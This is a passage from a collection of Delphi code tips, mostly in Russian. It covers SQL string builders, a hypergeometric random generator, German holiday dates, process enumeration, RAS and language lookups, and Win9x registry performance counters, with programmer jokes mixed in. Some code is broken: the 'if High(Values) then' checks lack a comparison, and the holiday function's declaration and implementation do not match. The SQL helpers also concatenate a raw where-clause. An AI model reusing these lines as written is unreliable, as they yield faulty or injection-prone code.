        RetVar := RetVar + 'to_date(' + QuotedStr(FormatdateTime('dd/mm/yyyy',
        TDateTime(Values[i].VVariant^))) + ',' + QuotedStr('dd/mm/yyyy') + ')';
      else
        RetVar := RetVar + '??????';
    end;
    RetVar := RetVar + ',';
  end;
  Delete(RetVar,length(RetVar),1);
  RetVar := RetVar + ')';
  if High(Values) then
    ShowMessage('SQL Insert - Not enough values.');
  if High(Values) > High(ColNames) then
    ShowMessage('SQL Insert - Too many values.');
  Result := RetVar;
end;
function SqlInsert(Values : array of const;
TableName : string) : string; overload;
var
  RetVar : string;
  i : integer;
begin
  RetVar := 'insert into ' + TableName + CrLf;
  RetVar := RetVar + 'values (';
  for i := 0 to High(Values) do
  begin
    case Values[i].VType of
    vtInteger, vtInt64 :
      RetVar := RetVar + IntToStr(Values[i].VInteger);
    vtChar :
      RetVar := RetVar + QuotedStr(Values[i].VChar);
    vtString :
      RetVar := RetVar + QuotedStr(Values[i].VString^);
    vtPChar :
      RetVar := RetVar + QuotedStr(Values[i].VPChar);
    vtExtended :
      RetVar := RetVar + FloatToStr(Values[i].VExtended^);
    vtAnsiString :
      RetVar := RetVar + QuotedStr(string(Values[i].VAnsiString));
    // TDateTime - иначе получаем как vtExtended
    vtVariant :
      RetVar := RetVar + 'to_date(' + QuotedStr(FormatdateTime('dd/mm/yyyy',
      TDateTime(Values[i].VVariant^))) + ',' + QuotedStr('dd/mm/yyyy') + ')';
    else
      RetVar := RetVar + '??????';
    end;
    RetVar := RetVar + ',';
  end;
  Delete(RetVar,length(RetVar),1);
  RetVar := RetVar + ')';
  Result := RetVar;
end;
function SqlUpdate(Values : array of const; TableName : string;
ColNames : array of string; WhereClause : string) : string;
var
  RetVar, Parm : string;
  i : integer;
begin
  RetVar := 'update ' + TableName + ' set' + CrLf;
  for i := 0 to Min(High(Values),High(ColNames)) do
  begin
    case Values[i].VType of
      vtInteger, vtInt64 :
        Parm := IntToStr(Values[i].VInteger);
      vtChar :
        Parm := QuotedStr(Values[i].VChar);
      vtString :
        Parm := QuotedStr(Values[i].VString^);
      vtPChar :
        Parm := QuotedStr(Values[i].VPChar);
      vtExtended :
        Parm := FloatToStr(Values[i].VExtended^);
      vtAnsiString :
        Parm := QuotedStr(string(Values[i].VAnsiString));
      // TDateTime - иначе получаем как vtExtended
      vtVariant : Parm := 'to_date(' + QuotedStr(FormatdateTime('dd/mm/yyyy',
        TDateTime(Values[i].VVariant^))) + ',' + QuotedStr('dd/mm/yyyy') + ')';
      else
        Parm := '??????';
    end;
    RetVar := RetVar + ColNames[i] + '=' + Parm + ',';
  end;
  Delete(RetVar,length(RetVar),1);
  RetVar := RetVar + CrLf + 'where ' + WhereClause;
  if High(Values) then
    ShowMessage('SQL Update - Not enough values.');
  if High(Values) > High(ColNames) then
    ShowMessage('SQL Update - Too many values.');
  Result := RetVar;
end;

Гипергеометрическое распределение.

Автор: Алексей Перов WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Гипергеометрическое распределение
Возвращает случайное число, распределенное по гипергеометрическому закону
распределения
Зависимости: system
Автор:       Алексей Перов, aperov@rambler.ru, ICQ:102661702, Караганда
Copyright:   Лабораторные работы по курсу "Моделирование информационных систем", КарГТУ
Дата:        26 апреля 2002 г.
***************************************************** }
function RandomGipgeo(tn, ns, p: Extended): Extended;
{ гипергеометрическое распределение }
var
  x, s: Extended;
  i: Integer;
begin
  x := 0;
  for i := 1 to Round(ns) do
  begin
    if Random - p <= 0 then
    begin
      s := 1;
      x := x + 1
    end
    else
      s := 0;
    p := (tn * p - s) / (tn - 1)
  end;
  Result := x
end;
Пример использования:
x := RandomGipgeo(2.5, 3, 0.4); 

Вычисление немецких праздников.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

unit Feiertage;
 // Unit Holidays; 
interface
 uses
   Windows, SysUtils;
 // Declare a structure to hold the Information 
// Deklarieren der Struktur, um die Feiertage abzuspeichern 
type
   THoliday = record
     Date: TDateTime;
     Name: string;
   end;
   THolidayTable = array of THoliday;
 // Function to call to get the Holiday Table with all Holidays of a year 
// Der Funktionsaufruf, um die Feiertage eines Jahres abzufragen 
function GetHolidayTable(Year: Word): THolidayTable;
 implementation
 function TUrlaubsForm.GetHolidayTable(Year: Word): THolidayTable;
   // Function to add a holiday by Day and Month 
  // Funktion, um einen Feiertag uber seinen Tag\Monat hinzuzufugen 
  procedure AddHoliday(DD, MM: Word; HDName: string); overload;
   begin
     SetLength(Result, High(Result) + 2);
     with Result[High(Result)] do
     begin
       Date := EncodeDate(Year, MM, DD);
       Name := HDName;
     end;
   end;
   //Function to add holiday by date serial 
  //Funktion, um den Feiertag uber die Datumsseriennummer hinzuzufugen 
  procedure AddHoliday(HDDate: TDateTime; HDName: string); overload;
   begin
     SetLength(Result, High(Result) + 2);
     with Result[High(Result)] do
     begin
       Date := HDDate;
       Name := HDName;
     end;
   end;
   // Function to get easter sunday 
  // Function zur Berechnung des Ostersonntags 
  function GetEasterDate(YYYY: Word): TDateTime;
   var
     A, B, C, D, E, F, G, H, I, K, L, M, N, P: Word;
     DD, MM: Word;
   begin
     a := YYYY mod 19;
     b := YYYY div 100;
     c := YYYY mod 100;
     d := b div 4;
     e := b mod 4;
     f := (b + 8) div 25;
     g := (b - f + 1) div 3;
     h := (19 * a + b - d - g + 15) mod 30;
     i := c div 4;
     k := c mod 4;
     l := (32 + 2 * e + 2 * i - h - k) mod 7;
     m := (a + 11 * h + 22 * l) div 451;
     n := (h + l - 7 * m + 114) div 31;
     p := (h + l - 7 * m + 114) mod 31 + 1;
     DD := p;
     MM := n;
     Result := EncodeDate(YYYY, MM, DD);
   end;
    var
   EDate: TDateTime;
 begin
   // Add fixed holidays 
  // Hinzufugen der festen Feiertage 
  AddHoliday(1, 1, 'Neujahr');
   AddHoliday(1, 5, 'Tag der Arbeit');
   AddHoliday(3, 10, 'Tag der deutschen Einheit');
   AddHoliday(31, 10, 'Reformationstag');
   // AddHoliday(24, 12, 'Heiligabend'); 
  AddHoliday(25, 12, '1. Weihnachtsfeiertag');
   AddHoliday(26, 12, '2. Weihnachtsfeiertag');
   // AddHoliday(31, 12, 'Silvester'); 
  // Add holidays relative to easter sunday 
  // Hinzufugen der Feiertage, die von Ostern abhangen 
  EDate := GetEasterDate(Year);
   AddHoliday(EDate, 'Ostersonntag');
   AddHoliday(EDate - 2, 'Karfreitag');
   AddHoliday(EDate + 1, 'Ostermontag');
   AddHoliday(EDate + 39, 'Christi Himmelfahrt');
   AddHoliday(EDate + 49, 'Pfingstsonntag');
   AddHoliday(EDate + 50, 'Pfingstmontag');
   // Gets 3rd Wednesday in November 
  // Ermittelt den 3. Mitwoch im November 
  EDate := EncodeDate(Year, 11, 1);
   EDate := EDate + ((11 - DayOfWeek(EDate)) mod 7) + 14;
   AddHoliday(EDate, 'Bu?- und Bettag');
 end;
 end.
 // This Units works since the year 1584 
// Diese Unit arbeitet mit Jahreszahlen nach 1584 

Узнать существущие имена таблиц БД Access.

procedure....
var
  x: TStrings;
begin
  x:=TstringList.Create;
  ADOConnection.GetTableNames(x, false или true) // <- почитай Help
  операции с x...
  x.Free;
end;

Получить список запущенных приложений, проверить запущена ли программа.

Что думают о русских программистах их западные коллеги. 1. Русские программисты никогда не читают руководств и редко пользуются online подсказкой - они легко понимают новые программы, потому как ранее уже испробовали все программы подобного рода. 2. Русские прграммисты никогда не платят за софт. Они или крэкают его, или покупают wonderful CD за 5 баксов с кучей софта. В любом крупном городе России. 3. Русские программисты всегда используют самые последние разработки в программном обеспечении - самые последние версии лучших программ - потому как не надо за них платить. 4. Русские программисты очень любят поэкспериментировать с железом. Они разберут Ваш компьютер и соберут его обратно в течение нескольких минут. Они помнят установки джамперов на большинстве материнских плат, винтах и других устройствах. Они никогда не забывают какие прерывания и адреса памяти используются в настоящее время в их компьютере. 5. Русские программисты апгрейдят свой компьютер до тех пор, пока не останется никаких свободных прерываний, места для добавочной памяти или не останется ни одного свободного слота. Если они не могут апгрейдить дальше свой компьютер, они покупают еще один и соединяют оба сеткой. 6. Русские программисты программируют на всех уровнях, и на процессорных кодах тоже, таблицы которых y них всегда находятся на рабочем столе. Они помнят назубок список функций прерывания 21h. 7. Русские программисты помнят всю раскладку английской и русской клавиатуры. Вы можете спросить посреди ночи, какая клавиша находится между А и L, и будете удивлены ответом: "Какую из семи назвать?" 8. Русские программисты ненавидят Майкрософт и Майкрософтовские программы, но используют их. 9. Русские программисты предпочитают Borland, а Microsoft компиляторы инсталлируют только из-за того, что в них хороший help для Windows API. 10. Русские программисты в Интернете чувствуют себя очень комфортно. Они предпочитают всегда быть online, хотя бы потому, что может срочно что-то понадобиться. 11. Русские программисты всегда в настроении программировать. 12. Есть два вида Русских программистов - первые ненавидят Windows и программируют под Unix, вторые ненавидят Windows и программируют под них. Макинтошевские программисты - не настоящие программисты - им больше подходит название - "юзеры". 13. Русские прграммисты не любят "кодировать" чью-то другую идею. Каждая программа пишется персонально. 14. Русские программисты всегда имеют копии Doom, Duke Nukem и Quake на их жестком диске. Они могут играть ночи напролет по сетке в Deathmath. 15. Русские прграммисты никогда не используют джойстик. Клавиатура - вот главное оружие. 16. Русские программисты никогда не сдаются. Они могут вылавливать баги из их программы, забыв о сне и еде. 17. Жены Русских программистов несчастны, потому как им не уделяется внимания, пока в доме есть хоть один компьютер. 18. Русским программистам недоплачивают. Но и не существует суммы в мире, способной успокоить их желания. 19. Начальники не любят Русских прграммистов. А кто любит умника, который все знает? 20. Русские программисты не любят использовать шаблоны. Их программы - это индивидуально написанные произведения с большой долей импровизации. Причем, Русский прогаммист старается во всю, чтобы побыстрее запустить программу и увидеть ее в работе.
uses 
  Psapi, tlhelp32; 
procedure CreateWin9xProcessList(List: TstringList); 
var 
  hSnapShot: THandle; 
  ProcInfo: TProcessEntry32; 
begin 
  if List = nil then Exit; 
  hSnapShot := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
  if (hSnapShot <> THandle(-1)) then 
  begin 
    ProcInfo.dwSize := SizeOf(ProcInfo); 
    if (Process32First(hSnapshot, ProcInfo)) then 
    begin 
      List.Add(ProcInfo.szExeFile); 
      while (Process32Next(hSnapShot, ProcInfo)) do 
        List.Add(ProcInfo.szExeFile); 
    end; 
    CloseHandle(hSnapShot); 
  end; 
end; 
procedure CreateWinNTProcessList(List: TstringList); 
var 
  PIDArray: array [0..1023] of DWORD; 
  cb: DWORD; 
  I: Integer; 
  ProcCount: Integer; 
  hMod: HMODULE; 
  hProcess: THandle; 
  ModuleName: array [0..300] of Char; 
begin 
  if List = nil then Exit; 
  EnumProcesses(@PIDArray, SizeOf(PIDArray), cb); 
  ProcCount := cb div SizeOf(DWORD); 
  for I := 0 to ProcCount - 1 do 
  begin 
    hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or 
      PROCESS_VM_READ, 
      False, 
      PIDArray[I]); 
    if (hProcess <> 0) then 
    begin 
      EnumProcessModules(hProcess, @hMod, SizeOf(hMod), cb); 
      GetModuleFilenameEx(hProcess, hMod, ModuleName, SizeOf(ModuleName)); 
      List.Add(ModuleName); 
      CloseHandle(hProcess); 
    end; 
  end; 
end; 
procedure GetProcessList(var List: TstringList); 
var 
  ovi: TOSVersionInfo; 
begin 
  if List = nil then Exit; 
  ovi.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); 
  GetVersionEx(ovi); 
  case ovi.dwPlatformId of 
    VER_PLATFORM_WIN32_WINDOWS: CreateWin9xProcessList(List); 
    VER_PLATFORM_WIN32_NT: CreateWinNTProcessList(List); 
  end 
end; 
function EXE_Running(FileName: string; bFullpath: Boolean): Boolean; 
var 
  i: Integer; 
  MyProcList: TstringList; 
begin 
  MyProcList := TStringList.Create; 
  try 
    GetProcessList(MyProcList); 
    Result := False; 
    if MyProcList = nil then Exit; 
    for i := 0 to MyProcList.Count - 1 do 
    begin 
      if not bFullpath then 
      begin 
        if CompareText(ExtractFileName(MyProcList.Strings[i]), FileName) = 0 then 
          Result := True 
      end 
      else if CompareText(MyProcList.strings[i], FileName) = 0 then Result := True; 
      if Result then Break; 
    end; 
  finally 
    MyProcList.Free; 
  end; 
end; 
// Example 1: Is a Exe-File running ? 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  if EXE_Running('Notepad.exe', False) then 
    ShowMessage('EXE is running') 
  else 
    ShowMessage('EXE is not running'); 
end; 
// Example 2: List running Exe-Files 
procedure TForm1.Button3Click(Sender: TObject); 
var 
  i: Integer; 
  MyProcList: TstringList; 
begin 
  MyProcList := TStringList.Create; 
  try 
    GetProcessList(MyProcList); 
    if MyProcList = nil then Exit; 
    for i := 0 to MyProcList.Count - 1 do 
      ListBox1.Items.Add(MyProcList.Strings[i]); 
  finally 
    MyProcList.Free; 
  end; 
end;

Определение активного подключения.

Автор: Ajax WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определение активного подключения
Возвращает название активного интернет-соединения
Зависимости: RAS
Автор:       Ajax, ajax@mail.kz
Copyright:   Ajax
Дата:        27 мая 2002 г.
***************************************************** }
function CheckRASConnections: string;
const
  MaxEntries = 100;
var
  BufSize: Integer;
  NumEntries: Integer;
  Entries: array[1..MaxEntries] of TRasConn;
begin
  Entries[1].dwSize := SizeOf(TRasConn);
  Bufsize := SizeOf(TRasConn) * MaxEntries;
  RasEnumConnections(@Entries[1], BufSize, NumEntries);
  if numentries > 0 then
    result := strpas(@Entries[1].szEntryName)
  else
    Result := 'Disconnected';
end;

Пример использования:

ShowMessage(CheckRASConnections); 

Как узнать, какой язык активен в Windows.

Программиста спрашивают: - Как вам удалось так быстро выучить английский язык?!! - Да, ерунда какая. Они там почти все слова из Delphi взяли.
function WhichLanguage:string;
var 
  ID: LangID;
  Language: array [0..100] of char;
begin
  ID := GetSystemDefaultLangID;
  VerLanguageName(ID, Language, 100);
  Result := string(Language);
end;
...
procedure TForm1.Button1Click(Sender: TObject);
begin
  Edit1.Text := WhichLanguage;
end;

Ошибка EOLESYS..OPERATION UNAVAILABLE (операция недоступна) при использовании GETACTIVEOLEOBJECT.

- Надо снять порчу с компьютера, - сказала цыганка, запустив DrWeb.

Это происходит при использовании сервера автоматизации Delphi, или когда сервер автоматизации (например, word.basic) не запущен.

procedure TForm1.Button1Click(Sender: TObject);
var
  V: OleVariant;
begin
  V := GetActiveOleObject('Word.Basic');
  V.FileNew;
  V.Insert('тест');
end;

GetActiveOleObject определен в ComObj.pas. Он преобразует имя класса в guid и передает его при вызове Windows api функции GetActiveObject.

function GetActiveOleObject(const ClassName: string): IDispatch;
var
  ClassID: TCLSID;
  Unknown: IUnknown;
begin
  ClassID := ProgIDToClassID(ClassName);
  OleCheck(GetActiveObject(ClassID, nil, Unknown));
  OleCheck(Unknown.QueryInterface(IDispatch, Result));
end;

GetActiveOleObject использует интерфейс с именем IRunningObjectTable. Мы не регистрируем это автоматически в таблице, поэтому, чтобы воспользоваться его функциональным назначением, вы должны получить этот интерфейс и использовать его методы для регистрации.

Получаем из реестра количество активных потоков, загруженность процессора и т.д.

Автор: Vimil Saju
Я выбросил из окна два компа - 386 и 486. В самом деле, 486 был быстрее...

В реестре есть раздел HKEY_DYN_DATA. Основная информация о системе хранится в ключе PerfStats.

О получении информации,например, о загруженности процессора, необходимо проделать следующие шаги:

Для начала необходимо запустить установленный счётчик в реестре. Это возможно путём считывания значения ключа, отвечающего за нужный параметр системы.

Например.

Просто считываем значение ключа 'PerfStats\StartStat\KERNEL\CPUusage' в секции HKEY_DYN_DATA. данное действие запускает счётчик. После этого в ключе 'PerfStats\StatData\KERNEL\CPUusage' будет храниться значение в процентах о загруженности процессора.

Далее, если добавить считывание загруженности процессора в событие On timer, то мы сможем наблюдать изменение загруженности процессора в динамике.

По завершении, Ваша программа должна остановить счётчик в реестре. Для этого просто считай ключ 'PerfStats\StopStat\KERNEL\CPUusage'.Это остановит счётчик.

Так же в системе есть много других счётчиков. Весь список счётчиков можно посмотреть в ключе PerfStats\StatData, используя редактор реестра.

Представленный ниже исходник получает значения всех счётчиков, расположенных в секции HKEY_DYN_DATA.

unit SystemInfo;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs,extctrls;
//Информация о Dialup адаптере
type TDialupAdapterInfo = record
  alignment:dword;
  buffer:dword;
  bytesrecieved:dword;
  bytesXmit:dword;
  ConnectSpeed:dword;
  CRC:dword;
  framesrecieved:dword;
  FramesXmit:dword;
  Framing:dword;
  runts:dword;
  Overrun:dword;
  timeout:dword;
  totalbytesrecieved:dword;
  totalbytesXmit:dword;
end;
type TKernelInfo = record
  CpuUsagePcnt:dword;
  Numthreads:dword;
  NumVMS:dword;
end;
type TVCACHEInfo = record
  ccurpages:dword;
  cMacPages:dword;
  cminpages:dword;
  FailedRecycles:dword;
  Hits:dword;
  LRUBuffers:dword;
  LRURecycles:dword;
  Misses:dword;
  RandomRecycles:dword;
end;
type TFATInfo = record
  BreadsSec:dword;
  BwritesSec:dword;
  Dirtydata:dword;
  ReadsSec:dword;
  WritesSec:dword;
end;
type TVMMInfo = record
  CDiscards:dword;
  CInstancefaults:dword;
  CPageFaults:dword;
  cPageIns:dword;
  cPageOuts:dword;
  cpgCommit:dword;
  cpgDiskCache:dword;
  cpgDiskCacheMac:dword;
  cpgDiskCacheMid:dword;
  cpgDiskCacheMin:dword;
  cpgfree:dword;
  cpglocked:dword;
  cpglockedNoncache:dword;
  cpgother:dword;
  cpgsharedpages:dword;
  cpgswap:dword;
  cpgswapfile:dword;
  cpgswapfiledefective:dword;
  cpgswapfileinuse:dword;
end;
type
  TSysInfo = class(TComponent)
  private
    fDialupAdapterInfo:TDialupAdapterInfo;
    fKernelInfo:TKernelInfo;
    fVCACHEInfo:TVCACHEInfo;
    fFATInfo:TFATInfo;
    fVMMInfo:TVMMInfo;
    ftimer:TTimer;
    fupdateinterval:integer;
    tmp:dword;
    vsize:dword;
    pkey:hkey;
    regtype:pdword;
    fstopped:boolean;
    procedure fupdatinginfo(sender:tobject);
    procedure fsetupdateinterval(aupdateinterval:integer);
  protected
    fsysInfoChanged:TNotifyEvent;
  public
    constructor Create(Aowner:Tcomponent);override;
    destructor Destroy;override;
    property DialupAdapterInfo: TDialupAdapterInfo read fDialupAdapterInfo;
    property KernelInfo: TKernelInfo read fKernelInfo;
    property VCACHEInfo: TVCACHEInfo read fVCACHEInfo;
    property FATInfo: TFATInfo read fFATInfo;
    property VMMInfo: TVMMInfo read fVMMInfo;
    procedure StartRecievingInfo;
    procedure StopRecievingInfo;
  published
    property SysInfoChanged:TNotifyEvent read fsysInfoChanged write
    fsysInfoChanged;//Это событие вызывается после определённого интервала времени.
    property UpdateInterval:integer read fupdateInterval write
    fsetupdateinterval default 5000;
end;
procedure register;
implementation
constructor TSysInfo.Create(Aowner:Tcomponent);
begin
  inherited;
  ftimer:=ttimer.Create(self);
  ftimer.enabled:=false;
  ftimer.OnTimer:=fupdatinginfo;
  vsize:=4;
  fstopped:=true;
end;
procedure TSysInfo.startrecievingInfo;
var
  res:integer;
begin
  res:=RegOpenKeyEx(HKEY_DYN_DATA, 'PerfStats\StartStat',0,KEY_ALL_ACCESS,pkey);
  if res<>0 then
    raise exception.Create('Could not open registry key');
  fstopped:=false;
  // Для Dial Up Адаптера
  RegQueryValueEx(pkey,'Dial-Up Adapter\Alignment',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\Buffer',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\Framing',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\Overrun ',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\Timeout',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\CRC',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\Runts',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\FramesXmit',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\FramesRecvd',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\BytesRecvd',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesXmit',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesRecvd',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\ConnectSpeed',nil,regtype,@tmp,@vsize);
  // Для VCACHE
  RegQueryValueEx(pkey,'VCACHE\LRUBuffers',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VCACHE\FailedRecycles',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VCACHE\RandomRecycles',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VCACHE\LRURecycles',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VCACHE\Misses',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VCACHE\Hits',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VCACHE\cMacPages',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VCACHE\cMinPages',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VCACHE\cCurPages',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@tmp,@vsize);
  //Для VFAT
  RegQueryValueEx(pkey,'VFAT\DirtyData',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VFAT\BReadsSec',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VFAT\BWritesSec',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VFAT\ReadsSec',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VFAT\WritesSec',nil,regtype,@tmp,@vsize);
  //Для VMM
  RegQueryValueEx(pkey,'VMM\cpgLockedNoncache',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgCommit',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgSharedPages',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgDiskcacheMid',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgDiskcacheMac',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgDiskcacheMin',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgDiskcache',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgSwapfileDefective',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgSwapfileInUse',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgSwapfile',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cDiscards',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cPageOuts',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cPageIns',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cInstanceFaults',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cPageFaults',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgOther',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgSwap',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgLocked',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgFree',nil,regtype,@tmp,@vsize);
  //Для KERNEL
  RegQueryValueEx(pkey,'KERNEL\CPUUsage',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'KERNEL\VMs',nil,regtype,@tmp,@vsize);
  RegQueryValueEx(pkey,'KERNEL\Threads',nil,regtype,@tmp,@vsize);
  RegCloseKey(pkey);
  ftimer.enabled:=true;
end;
procedure tsysinfo.fupdatinginfo(sender:tobject);
var
  res:integer;
begin
  res:=RegOpenKeyEx(HKEY_DYN_DATA, 'PerfStats\StatData',0,KEY_ALL_ACCESS,pkey);
  if res<>0 then
    raise exception.Create('Could not open registry key');
  //Для Dial Up Адаптера
  RegQueryValueEx(pkey,'Dial-Up Adapter\Alignment',nil,regtype,@fDialupAdapterInfo.alignment,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\Buffer',nil,regtype,@fDialupAdapterInfo.buffer,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\Framing',nil,regtype,@fDialupAdapterInfo.framing,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\Overrun ',nil,regtype,@fDialupAdapterInfo.overrun,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\Timeout',nil,regtype,@fDialupAdapterInfo.timeout,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\CRC',nil,regtype, @fDialupAdapterInfo.crc,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\Runts',nil,regtype,@fDialupAdapterInfo.runts,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\FramesXmit',nil,regtype,@fDialupAdapterInfo.framesxmit,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\FramesRecvd',nil,regtype, @fDialupAdapterInfo.framesrecieved,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@fDialupAdapterInfo.bytesxmit,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\BytesRecvd',nil,regtype, @fDialupAdapterInfo.bytesrecieved,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesXmit',nil,regtype, @fDialupAdapterInfo.totalbytesxmit,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesRecvd',nil,regtype, @fDialupAdapterInfo.totalbytesrecieved,@vsize);
  RegQueryValueEx(pkey,'Dial-Up Adapter\ConnectSpeed',nil,regtype, @fDialupAdapterInfo.connectspeed,@vsize);
  // Для VCACHE
  RegQueryValueEx(pkey,'VCACHE\LRUBuffers',nil,regtype, @fVCACHEInfo.lrubuffers,@vsize);
  RegQueryValueEx(pkey,'VCACHE\FailedRecycles',nil,regtype, @fVCACHEInfo.failedrecycles,@vsize);
  RegQueryValueEx(pkey,'VCACHE\RandomRecycles',nil,regtype, @fVCACHEInfo.randomrecycles,@vsize);
  RegQueryValueEx(pkey,'VCACHE\LRURecycles',nil,regtype, @fVCACHEInfo.lrurecycles,@vsize);
  RegQueryValueEx(pkey,'VCACHE\Misses',nil,regtype, @fVCACHEInfo.misses,@vsize);
  RegQueryValueEx(pkey,'VCACHE\Hits',nil,regtype,@fVCACHEInfo.hits,@vsize);
  RegQueryValueEx(pkey,'VCACHE\cMacPages',nil,regtype, @fVCACHEInfo.cmacpages,@vsize);
  RegQueryValueEx(pkey,'VCACHE\cMinPages',nil,regtype, @fVCACHEInfo.cminpages,@vsize);
  RegQueryValueEx(pkey,'VCACHE\cCurPages',nil,regtype, @fVCACHEInfo.ccurpages,@vsize);
  //Для VFAT
  RegQueryValueEx(pkey,'VFAT\DirtyData',nil,regtype, @ffatinfo.dirtydata,@vsize);
  RegQueryValueEx(pkey,'VFAT\BReadsSec',nil,regtype, @ffatinfo.breadssec,@vsize);
  RegQueryValueEx(pkey,'VFAT\BWritesSec',nil,regtype, @ffatinfo.bwritessec,@vsize);
  RegQueryValueEx(pkey,'VFAT\ReadsSec',nil,regtype, @ffatinfo.readssec,@vsize);
  RegQueryValueEx(pkey,'VFAT\WritesSec',nil,regtype, @ffatinfo.writessec,@vsize);
  //Для VMM
  RegQueryValueEx(pkey,'VMM\cpgLockedNoncache',nil,regtype, @fvmminfo.cpglockednoncache,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgCommit',nil,regtype, @fvmminfo.cpgcommit,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgSharedPages',nil,regtype, @fvmminfo.cpgsharedpages,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgDiskcacheMid',nil,regtype, @fvmminfo.cpgdiskcacheMid,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgDiskcacheMac',nil,regtype, @fvmminfo.cpgdiskcacheMac,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgDiskcacheMin',nil,regtype, @fvmminfo.cpgdiskcacheMin,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgDiskcache',nil,regtype, @fvmminfo.cpgdiskcache,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgSwapfileDefective',nil,regtype, @fvmminfo.cpgswapfiledefective,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgSwapfileInUse',nil,regtype, @fvmminfo.cpgswapfileinuse,@vsize);
  RegQueryValueEx(pkey,'VMM\cpgSwapfile',nil,regtype, @fvmminfo.cpgswapfile,@vsize);
  RegQueryValueEx(pkey,'VMM\cDiscards',nil,regtype, @fvmminfo.cdiscards,@vsize);
  RegQueryValueEx(pkey,'VMM\cPageOuts',nil,regtype, @fvmminfo.cpageouts,@vsize);
  RegQueryValueEx(pkey,'VMM\cPageIns',nil,regtype, @fvmminfo.cpageins,@vsize);
  RegQueryValueEx(pkey,'VMM\cInstanceFaults',nil,regtype, @fvmminfo.cinstancefaults,@vsize);
